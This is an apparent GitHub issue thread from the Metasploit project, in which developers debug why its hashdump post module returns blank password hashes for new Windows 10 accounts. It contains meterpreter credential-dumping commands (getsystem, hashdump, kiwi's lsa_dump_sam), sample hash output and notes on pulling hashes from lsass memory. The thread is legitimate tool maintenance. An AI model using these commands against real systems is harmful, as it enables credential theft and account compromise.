Metasploit-framework: Hash and Cache dump in windows 10

[p3nt4]

It seems like an update changed the way windows stores cached passwords and local hashes.
Did anyone figure out a way to dump local passwords as of today?

Steps to reproduce

1. Get a system meterpreter shell
2. Run post/windows/gather/hashdump

Expected behavior

Using hashdump should give the current hash of users.

Current behavior

Using hashdump gives the empty password hash.
Example:
LocalAdmin:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Metasploit version

4.13.19-dev

OS

What OS are you running Metasploit on?

Kali Linux

[bwatters-r7]

I ran this on a fully-patched windows 10x64 machine:

With this release of msf:
commit 272d1845fa5a806355f328ea4b12dd38c483abff
My results match yours, I think, but there may be some confusion. Disabled local admin accounts will have the hash 31d6cfe0d16ae931b73c59d7e0c089c0, and the default status for the local admin account is disabled. In this case, do you know that the local admin account is enabled? Did you get the other users' hashes?

[p3nt4]

All users, enabled and disabled have the same blank hash.

I originally noticed this issue while I was writing the hashcarve module. What's interesting is that passwords that were set before a certain update (possibly anniversary edition) are not affected.

Concerning the Cachedump, I get different hashes for every user, however, I can't crack them using John with cash2 format (I know the password) so the hashing algorithm may have changed as well.

[bwatters-r7]

Ahhh; OK. That is odd. I reread your post, and I realize that was not Administrator, but LocalAdmin with a clearly not 500 ID (Sorry about that). I went ahead and reran some tests; my user was created a while ago, so it is unaffected in the previous test, too. I created a new user per your suggestion, and indeed, I get the blank hash when I run the post module against a newly-created user, but it is correctly pulled by the 'hashdump' and kiwi. I'm digging a little deeper, now.

[p3nt4]

How do you run your hashdump? Neither of them work for me:

`
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
meterpreter > run post/windows/gather/hashdump
[] Obtaining the boot key...
[] Calculating the hboot key using SYSKEY 1a5b8591d4cd4e21f27bbc47a2580784...
[] Obtaining the user list and keys...
[] Decrypting user keys...
[] Dumping password hints...
[] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
defaultuser0:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
LocalAdmin:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

meterpreter >
`

My system version is:

[bwatters-r7]

My bad; there a command that you can run from the meterpreter prompt that is simply 'hashdump' I would post the whole thing, but my Windows VM is no longer accepting ARP responses..... I'm not sure why, but I'm in the middle of a 12 hour long download, so rebooting is not an option.

It would just be:

meterpreter> hashdump

or alternatively:

meterpreter> load kiwi

Then you can do a full lsass dump with

meterpreter> lsa_dump_sam

[bwatters-r7]

There was a recent update to Kiwi (~6 wks), but that should be long enough for Kali to have picked it up.
https://github.com/rapid7/metasploit-framework/pull/7744

[p3nt4]

I know about hte hashdump command but I get the following error:
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

The Kiwi module works though.

[bwatters-r7]

Whew.... after a reboot, I have layer 2, yet again!

OK.... so, now for some explaining....

post/windows/gather/hashdump does appear to be broken for recently-created hashes (crap).

kiwi still works as expected for logged-in users (Yay!)

hashdump works for me

because under the covers, it calls a script that then calls the post module ```post/windows/gather/smart_hashdump``` It fails for you because in an attempt to be helpful recently, we broke how we called some scripts. Kali's release most likely fell between our fix that broke them, and our fix that refixes them. See: https://github.com/rapid7/metasploit-framework/pull/7823 https://github.com/rapid7/metasploit-framework/pull/7887

Unfortunately, in my testing, further questions appeared.  For some reason, when I run the ```hashdump``` command at the prompt, I get the added user (anotheruser) with the anticipated password (anotherpassword):

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
anotheruser:1001:aad3b435b51404eeaad3b435b51404ee:69aa7ad81335466852b12532895fa9a9:::
bwatters:[redacted]
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Strangely, when I run it as a post module, the recently-created account is missing:

msf post(hashdump) > use post/windows/gather/smart_hashdump
msf post(smart_hashdump) > set session 1
session => 1
msf post(smart_hashdump) > run

[] Running module against DESKTOP-OQBO9P9
[] Hashes will be saved to the database if one is connected.
[] Hashes will be saved in loot in JtR password file format to:
[] /home/tmoose/.msf4/loot/20170210090608_default_192.168.20.110_windows.hashes_816272.txt
[] Dumping password hashes...
[] Running as SYSTEM extracting hashes from registry
[] Obtaining the boot key...
[] Calculating the hboot key using SYSKEY 650d114689f5ff5422f6b2ed093a87bc...
[] Obtaining the user list and keys...
[] Decrypting user keys...
[] Dumping password hints...
[+] anotheruser:"ap"
[] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] bwatters:[redacted]
[*] Post module execution completed
```

If I throw in some debug statements, I see that the module itself sees the data associated with the user, but it is not printed to screen or into the loot or database. I'm still digging, but I figured that I should get back to you with what I found to this point. I'll dig a little deeper into why it is leaving the last hash off, but I anticipate it is some sort of off-by-one or matching error when iterating though the hash.

[bwatters-r7]

Well..... turns out there's more.

In digging....
There was a script called hashdump and there is a post module called hashdump, a post module called smart_hashdump, and then a command called hashdump. I was wrong to confound the hashdump command with the hashdump script that got hijacked to call the post module smart_hashdump. Each of these 4 things is different. The post modules both rely on a regquery and parsing the resulting data.

Hashdump at the meterpreter prompt runs a specific hashdump command in the priv extension. You can see the function sam_hashes`` called here under the hashdump command: /lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb The functionsam_hashesis defined here and is a bit harder to debug: lib/rex/post/meterpreter/extensions/priv/priv.rb```
Instead of grabbing the hashes through a reg query like the others, it creates a specific TLV packet asking for the sam entries and sends it to the meterpreter executable. I have not looked into the meterpreter code to see exactly what's happening there, but it remains functional.

My issues earlier with the smart_hashdump post module were because it filters out RIDs of 1001. No one has been able to say why that RID gets dropped, but the comments in the code hint that it is a support account. That is an unrelated issue, but easily fixed.

So, in conclusion, hitting the SAM data via regquery fails for recently created users, but the direct request to meterpreter and kiwi succeeds.

[p3nt4]

Thanks for the research. Good to know it is still possible to dump hashes. I assume meterpreter still gets the hashes from the registries, will need to look into that and patch the post module if I have time.

[bwatters-r7]

Well, despite being wrong above at least once, I'm going to take another shot in the dark. I bet that meterpreter gets the hashes by injecting a thread into lsass and pulling them from memory directly like fgdump or kiwi. That would explain why a change in the layout of the registry file would break the post modules, which rely on the registry, but not the meterpreter and kiwi tools that pull direct from memory. Again, that's a complete shot in the dark, but it certainly _sounds_ like a valid hypothesis.

[p3nt4]

Yeah, that seems like a valid hypothesis. Would be interesting to reverse engineer the new registry layout then.
Have you had a chance to take a look at cachedump? I fear the hashing algorithm may have changed as well :(.

[bwatters-r7]

I did not look at cachedump. I am going to be occupied this coming week, but I sent a note to a few people about this issue. If it is still around after next week, I can take a look at it again.

[void-in]

@bwatters-r7 Regarding your shot in the dark, you indeed hit the bull's eye. The meterpreter hashdump command injects a thread and pull the hashes from lsass. But sometimes it results in the BSOD. That was the whole point creating the smart_hashdump module since it only queries the registry and are more safe to be used in production environment.

[Rogdham]

Hello everyone, I tried to fix the hashdump module, could give #8582 a try?

Concerning the Cachedump, I get different hashes for every user, however, I can't crack them using John with cash2 format (I know the password) so the hashing algorithm may have changed as well.

I did not find any issue with cachedump specific to Windows 10. That being said, if you have the module crash, look at #8578, if you cannot crack hashes with john, look at #8580.

[p3nt4]

Hey, I think I was mistaken concerning the cachedump issue. Please disregard.